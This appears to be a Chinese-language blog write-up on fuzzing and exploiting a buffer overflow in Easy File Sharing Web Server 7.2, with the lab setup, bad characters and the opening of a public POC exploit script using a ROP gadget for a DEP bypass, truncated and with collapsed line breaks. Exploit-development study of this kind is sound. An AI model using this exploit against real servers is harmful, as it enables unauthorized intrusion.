fuzzing-03-Easy File Sharing Web Server7.2分析和利用

0x00前言

首先，为什么没有fuzzing-02。。。因为在写02的时候，发现还是重复第一篇的相关内容，写一半就停了，不过03是我第一次分析别人没分析过的软件，并且独立编写shellcode，所以记录一下留作自己的参考。 目标：win7 x64 sp1 源：win10(python) 软件：Easy File Sharing Web Server(7.2)、Windbg、Immunity Debugger、IDA、msfvenom（Metasploit） 坏字符 ： '\x00\x0A\x0D'

0x01软件逆向开始

一开始很简单，就和平常一样，先下载7.2的软件，然后安装打开，百度查找POC，然后让软件崩溃就好了。先附上自己找到的POC代码。

#!/usr/bin/python# Exploit Title: Easy File Sharing Web Server 7.2 - 'POST' Buffer Overflow (DEP Bypass with ROP)
# Exploit Author: bl4ck h4ck3r
# Software Link: http://www.sharing-file.com/efssetup.exe
# Version: Easy File Sharing Web Server v7.2
# Tested on: Windows XP SP2, Windows 2008 R2 x64import socket
import struct
import sysif len(sys.argv) < 2:print "\nUsage: " + sys.argv[0] + " \n"exit()# 0x1002280a :  # ADD ESP,1004 # RETN    ** [ImageLoad.dll] **   |  ascii {PAGE_EXECUTE_READ}
ret = struct.pack("